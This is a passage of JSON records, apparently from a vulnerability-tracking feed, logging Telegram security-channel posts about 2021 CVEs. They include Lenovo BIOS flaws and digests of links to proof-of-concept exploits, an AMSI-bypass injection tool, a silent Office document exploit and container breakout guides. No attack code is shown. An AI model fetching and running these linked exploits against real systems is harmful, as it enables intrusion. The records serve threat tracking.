\u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434;\n\n\u0422\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2022-40134, CVE-2022-40135, CVE-2022-40136) \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c SMM.\n\nCVE-2022-40137 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 WMI SMI, \u0447\u0442\u043e \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\u0412\u0435\u043d\u0434\u043e\u0440 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u043b\u044f \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://support.lenovo.com/us/en/product_security/LEN-94953 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #Lenovo", "creation_timestamp": "2026-07-27T00:01:16.173613Z"}, {"uuid": "70a283a2-0433-461c-8a96-beeb0b166ac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28216", "type": "seen", "source": "https://t.me/EchelonEyes/681", "content": "\u0412 \u0441\u043e\u0442\u043d\u044f\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Lenovo \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 BIOS\n\n\u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Lenovo \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 BIOS, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0441\u043e\u0442\u043d\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 (Desktop, All in One, IdeaCentre, Legion, ThinkCentre, ThinkPad, ThinkAgile, ThinkStation, ThinkSystem).\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438, \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0431\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\u0445, \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\nCVE-2021-28216 \u2013 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0432 TianoCore EDK II BIOS (\u044d\u0442\u0430\u043b\u043e\u043d\u043d\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f UEFI), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434;\n\n\u0422\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2022-40134, CVE-2022-40135, CVE-2022-40136) \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c SMM.\n\nCVE-2022-40137 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 WMI SMI, \u0447\u0442\u043e \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\u0412\u0435\u043d\u0434\u043e\u0440 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u043b\u044f \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://support.lenovo.com/us/en/product_security/LEN-94953 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #Lenovo", "creation_timestamp": "2026-07-28T08:00:05.498747Z"}, {"uuid": "afd671b4-f73d-4e68-89d8-fbe788bfbb40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28216", "type": "seen", "source": "https://t.me/EchelonEyes/681", "content": "\u0412 \u0441\u043e\u0442\u043d\u044f\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Lenovo \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 BIOS\n\n\u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Lenovo \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 BIOS, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0441\u043e\u0442\u043d\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 (Desktop, All in One, IdeaCentre, Legion, ThinkCentre, ThinkPad, ThinkAgile, ThinkStation, ThinkSystem).\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438, \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0431\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\u0445, \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\nCVE-2021-28216 \u2013 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0432 TianoCore EDK II BIOS (\u044d\u0442\u0430\u043b\u043e\u043d\u043d\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f UEFI), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434;\n\n\u0422\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2022-40134, CVE-2022-40135, CVE-2022-40136) \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c SMM.\n\nCVE-2022-40137 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 WMI SMI, \u0447\u0442\u043e \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\u0412\u0435\u043d\u0434\u043e\u0440 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u043b\u044f \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://support.lenovo.com/us/en/product_security/LEN-94953 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #Lenovo", "creation_timestamp": "2026-07-29T00:00:43.262215Z"}, {"uuid": "8cca36ac-a26e-4cdb-88bb-ef10c383650e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28632", "type": "seen", "source": "https://t.me/reverseame/1725", "content": "CVE-2021-28632 & CVE-2021-39840: Bypassing Locks in Adobe Reader https://www.zerodayinitiative.com/blog/2021/10/20/cve-2021-28632-amp-cve-2021-39840-bypassing-locks-in-adobe-reader", "creation_timestamp": "2026-07-29T12:02:52.086598Z"}, {"uuid": "341d4f29-d0e1-4c1b-b0f4-dae0f610c6e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/reverseame/1125", "content": "Nice description (likely you will need Google Translate :)) \u00bb https://testbnull.medium.com/microsoft-exchange-from-deserialization-to-post-auth-rce-cve-2021-28482-e713001d915f", "creation_timestamp": "2026-07-29T12:02:58.293868Z"}, {"uuid": "68b4b472-d496-4296-8b9a-006c151a9dbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/reverseame/1092", "content": "Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/", "creation_timestamp": "2026-07-29T12:02:58.695968Z"}, {"uuid": "ecf6ae01-7cbe-42ed-a1e1-03c21ee94580", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "seen", "source": "https://t.me/reverseame/1093", "content": "Airstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316) https://shenaniganslabs.io/2021/04/13/Airstrike.html", "creation_timestamp": "2026-07-29T12:02:58.738582Z"}, {"uuid": "0b22bffa-c5f8-428c-abd7-aa0a21363fcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/sysadm_in_up/622", "content": "Microsoft Exchange From Deserialization to Post-Auth RCE (CVE-2021\u201328482) | by Jang | Apr, 2021 | Medium\nhttps://testbnull.medium.com/microsoft-exchange-from-deserialization-to-post-auth-rce-cve-2021-28482-e713001d915f\n\nPoC\n\nhttps://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda", "creation_timestamp": "2026-07-29T12:03:22.302419Z"}, {"uuid": "f1fe248b-911e-47bc-8312-47d40a975eae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "seen", "source": "https://t.me/reverseame/1093", "content": "Airstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316) https://shenaniganslabs.io/2021/04/13/Airstrike.html", "creation_timestamp": "2026-07-30T00:02:48.328052Z"}, {"uuid": "2e39d6d7-ab19-44dc-8d86-076783096685", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28632", "type": "seen", "source": "https://t.me/reverseame/1725", "content": "CVE-2021-28632 & CVE-2021-39840: Bypassing Locks in Adobe Reader https://www.zerodayinitiative.com/blog/2021/10/20/cve-2021-28632-amp-cve-2021-39840-bypassing-locks-in-adobe-reader", "creation_timestamp": "2026-07-30T00:02:42.560938Z"}, {"uuid": "906c3aa5-5adf-4f5b-af14-822a8db34bbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/reverseame/1125", "content": "Nice description (likely you will need Google Translate :)) \u00bb https://testbnull.medium.com/microsoft-exchange-from-deserialization-to-post-auth-rce-cve-2021-28482-e713001d915f", "creation_timestamp": "2026-07-30T00:02:47.934943Z"}, {"uuid": "7445aa7d-42e5-4598-bbdc-ff2a4ffb85ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/reverseame/1092", "content": "Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/", "creation_timestamp": "2026-07-30T00:02:48.290985Z"}, {"uuid": "c0411150-c06d-49ac-9b81-963425ba2154", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28460", "type": "seen", "source": "https://t.me/cissp/2972", "content": "exploit:\nCVE-2021-29447:\nWordPress 5.6-5.7 - Authenticated XXE (PoC)\nhttps://github.com/motikan2010/CVE-2021-29447\n\nRed Team Tactics:\n1. sJET allows an easy exploitation of insecure configured JMX services (siberas JMX Exploitation Toolkit)\nhttps://github.com/siberas/sjet\n2. Jenkins exploit for Servers without authentication\ud83d\ude04\nhttps://github.com/Hacker5preme/jenkins-exploit\n\nThreat Research:\nMultiple RCE vulnerabilities in Microsoft Azure Sphere (PoCs for CVE-2021-27047, CVE-2021-27080,\nCVE-2021-28460)\nhttps://blog.talosintelligence.com/2021/04/vuln-spotlight-azure-sphere-april-2021.html?m=1\n\nOffensive security:\n1. mod_security bypass\ud83d\ude03\nhttps://y000o.medium.com/fun-sql-injection-mod-security-bypass-644b54b0c445\n2. XSS in the process of creating a File/Folder in iCloud Drive\nhttps://fernale.blogspot.com/p/an-interesting-xss-exploit-that-i-found.html?m=1", "creation_timestamp": "2026-09-01T17:00:54.198909Z"}, {"uuid": "91a36feb-f77c-4d2b-a540-51128cbd2df4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/cissp/3920", "content": "Reversing for dummies - x86 assembly and C code (Beginner/ADHD friendly)\nhttps://0x41.cf/reversing/2021/07/21/reversing-x86-and-c-code-for-beginners.html\n\nThreat Research\n1. Zimbra 8.8.15 - Webmail Compromise via Email\ud83d\udc4d\ud83c\udffd\nhttps://blog.sonarsource.com/zimbra-webmail-compromise-via-email\n2. CVE-2021-27077:\nSelecting Bitmaps Into Mismatched Device Contexts\nhttps://www.zerodayinitiative.com/blog/2021/7/26/cve-2021-27077-selecting-bitmaps-into-mismatched-device-contexts\n\nOffensive security\nCobalt Strike BOF - Bypass AMSI in a remote process with code injection\nhttps://github.com/boku7/injectAmsiBypass\n\nCloud Security\nCritical 9.9 Vulnerability In Hyper-V Allowed Attackers To Exploit Azure (CVE-2021-28476)\ud83e\udd74\nhttps://www.guardicore.com/labs/critical-vulnerability-in-hyper-v-allowed-attackers-to-exploit-azure", "creation_timestamp": "2026-09-01T17:00:44.980911Z"}, {"uuid": "713695a2-96ee-423c-a3e5-9613bc4400ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/cissp/3314", "content": "Threat Research\n1. Threats from Readme:\nSuspected years of supply chain attack analysis\nhttps://security.tencent.com/index.php/blog/msg/192\n2. PoC for CVE-2021-28476 a guest-to-host\n\"Hyper-V RCE Vulnerability\" in vmswitch.sys\nhttps://github.com/0vercl0k/CVE-2021-28476\n\n\n-", "creation_timestamp": "2026-09-01T17:00:49.487976Z"}, {"uuid": "fe19c666-503c-47c5-a075-779f19edb6ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "seen", "source": "https://t.me/hackersmeet0/2446", "content": "Four Android vulnerabilities patched earlier this month may be under limited, targeted exploitation (CVE-2021-1905, CVE-2021-1906, CVE-2021-28663, CVE-2021-28664)\nhttps://therecord.media/arm-and-qualcomm-zero-days-quietly-patched-in-this-months-android-security-updates/", "creation_timestamp": "2026-09-01T18:00:05.139115Z"}, {"uuid": "501dbd9a-8b3b-41b4-92db-113f7e456e3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28091", "type": "seen", "source": "https://t.me/cissp/3331", "content": "Malware analysis\n1. Hex-Rays, GetProcAddress, and Malware Analysis\nhttps://www.msreverseengineering.com/blog/2021/6/1/hex-rays-getprocaddress-and-malware-analysis\n2. Kimsuky APT continues to target South Korean government using AppleSeed backdoor\nhttps://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor\n\nSCADA Security\nMultiple Critical Vulnerabilities in Korenix Technology, Westermo and Pepperl+Fuchs products\nhttps://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-korenix-technology-westermo-pepperl-fuchs\n// Products affected include JetNet 5428G-20SFP, 5810G, 4706F, 4706, 4510, 5010, 5310, 6095\n]-> PoC:\nhttps://packetstormsecurity.com/files/162903/SA-20210601-0.txt\n\nFinding Memory Bugs with Google Address Sanitizer (ASAN) on Microcontrollers\nhttps://mcuoneclipse.com/2021/05/31/finding-memory-bugs-with-google-address-sanitizer-asan-on-microcontrollers\n\nThreat Research\n1. Technical analysis of two RCE in Grav CMS 1.7.10 (CVE-2021-29439, CVE-2021-29440)\nhttps://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities\n2. Akamai EAA Impersonation Vulnerability\n(PoC for CVE-2021-28091)\nhttps://blogs.akamai.com/2021/06/akamai-eaa-impersonation-vulnerability---a-deep-dive.html\n\nApple ROM/BootROM Collection\nhttp://securerom.fun", "creation_timestamp": "2026-09-01T17:00:49.254144Z"}, {"uuid": "0e050f61-d0bd-42d9-ad50-8a1208a26170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28632", "type": "seen", "source": "https://t.me/cissp/4666", "content": "Threat Research\nUsing Kerberos for Authentication Relay Attacks\nhttps://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html\n\nSuDump: Exploiting suid binaries through the kernel\n(LPE through the sudo program)\nhttps://alephsecurity.com/2021/10/20/sudump\n\nexploit\nCVE-2021-28632, CVE-2021-39840:\nBypassing Locks in Adobe Reader\nhttps://www.zerodayinitiative.com/blog/2021/10/20/cve-2021-28632-amp-cve-2021-39840-bypassing-locks-in-adobe-reader\n\nOffensive security\nCobalt Strike: Using Known Private Keys To Decrypt Traffic - Part 1\nhttps://blog.nviso.eu/2021/10/21/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-1\n\n\n\u200e", "creation_timestamp": "2026-09-01T17:00:37.528813Z"}, {"uuid": "bb013a90-7002-4027-bf60-d44a3e396c69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28079", "type": "seen", "source": "https://t.me/cissp/4726", "content": "exploit\n1. CVE-2021-28079:\nJamovi <=1.6.18 is affected by a cross-site scripting (XSS) vulnerability\nhttps://github.com/g33xter/CVE-2021-28079\n\n2. Silent DOC Exploit for Microsoft Office\nhttps://github.com/attakercyebr/Exploit-doc\n\n3. Ghostscript sandbox bypass (CVE-2021-3781)\nhttps://security.tencent.com/index.php/blog/msg/205\n\nThreat_Research\nContainer Breakouts:\nPart 1 - Access to root directory of the Host\nhttps://blog.nody.cc/posts/container-breakouts-part1\nPart 2 - Privileged Container\nhttps://blog.nody.cc/posts/container-breakouts-part2\nPart 3 - Docker Socket\nhttps://blog.nody.cc/posts/container-breakouts-part3\n\nCloud_Security\nMesh-kridik: performs various security checks\non a Kubernetes cluster\nhttps://github.com/chen-keinan/mesh-kridik#requirements\n\nOffensive_security\nCVE-2021-30920 - CVE-2021-1784 strikes back -\nTCC bypass via mounting\nhttps://theevilbit.github.io/posts/cve_2021_30920", "creation_timestamp": "2026-09-01T17:00:36.677669Z"}, {"uuid": "4d1c7ebe-f4ce-4454-bf9b-d9e1ad8b3425", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "seen", "source": "https://t.me/cissp/4040", "content": "exploit\nInteger Overflow to RCE - ManageEngine Asset Explorer Agent (CVE-2021-20082)\ud83d\ude2c\nhttps://medium.com/tenable-techblog/integer-overflow-to-rce-manageengine-asset-explorer-agent-cve-2021-20082-7e54cb2caad5\n\nThreat Research\n1. ThroughTek \"Kalay\" Protocol Vulnerability (CVE-2021-28372)\nhttps://www.fireeye.com/blog/threat-research/2021/08/mandiant-discloses-critical-vulnerability-affecting-iot-devices.html\n\nOffensive security\nExecuting Code In Context Of A Trusted Agent (Part 1) - Windows Defender Antivirus\nhttps://halove23.blogspot.com/2021/08/executing-code-in-context-of-trusted.html?m=1\n]-> PoC:\nhttps://github.com/klinix5/WinDefendInjectPoC", "creation_timestamp": "2026-09-01T17:00:42.314194Z"}, {"uuid": "4e406a90-6276-48bc-86a4-b06e25ff179b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "seen", "source": "https://t.me/cissp/4236", "content": "Red Team Tactics\n\"Unoriginal-Rice-Patty\" - Replay-based attack on Honda/Acura 